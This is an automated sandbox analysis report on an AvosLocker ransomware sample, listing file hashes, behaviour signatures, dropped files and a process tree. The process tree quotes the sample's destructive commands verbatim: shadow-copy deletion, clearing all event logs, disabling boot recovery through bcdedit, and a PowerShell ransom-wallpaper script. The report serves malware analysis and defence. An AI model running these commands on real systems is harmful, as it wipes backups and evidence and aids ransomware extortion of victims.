Resubmissions

11-05-2023 15:49

230511-s9f6zsad87 10

11-05-2023 15:45

230511-s7b49agc64 10

03-05-2023 23:25

230503-3edsgsba4x 10

03-05-2023 11:43

230503-nv3n8aee94 10

Analysis

  • max time kernel
    81s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2023 15:49

General

  • Target

    5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe

  • Size

    807KB

  • MD5

    1a23dd405a1bd4e488c5fb54f22e14ff

  • SHA1

    73b1d319fb361e591c2e6a65caaea73186f51193

  • SHA256

    5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa

  • SHA512

    b9ff21124e04ec7c9e5159cc7cc8ce1110b35941c7a1235b4bd55911ad17c03ace3ce1173e784e6154b09a6eb21da880b7f54886bda589e6293e69d92337f80b

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA:u4s+oT+NXBLi0rjFXvyHBlb4CZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe
    "C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe"
    1⤵
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4740
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1516
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:112
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4104
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2444
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1040
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:13656
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1347122807.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:13548
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:13448
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:6504

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      064348106157ac3e6972ebe6852f665f

      SHA1

      4f95549af4873637f05f5f574b93605d30a28dbb

      SHA256

      876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a

      SHA512

      e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33

    • C:\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      064348106157ac3e6972ebe6852f665f

      SHA1

      4f95549af4873637f05f5f574b93605d30a28dbb

      SHA256

      876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a

      SHA512

      e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juma2lqh.xlc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1516-146-0x0000022191340000-0x0000022191362000-memory.dmp

      Filesize

      136KB

    • memory/1516-793-0x0000022191260000-0x0000022191270000-memory.dmp

      Filesize

      64KB

    • memory/1516-832-0x0000022191260000-0x0000022191270000-memory.dmp

      Filesize

      64KB

    • memory/1516-1540-0x0000022191260000-0x0000022191270000-memory.dmp

      Filesize

      64KB

    • memory/1516-3346-0x00000221A94E0000-0x00000221A96FC000-memory.dmp

      Filesize

      2.1MB

    • memory/13656-24866-0x000001D6CE290000-0x000001D6CE2A0000-memory.dmp

      Filesize

      64KB

    • memory/13656-24868-0x000001D6CE290000-0x000001D6CE2A0000-memory.dmp

      Filesize

      64KB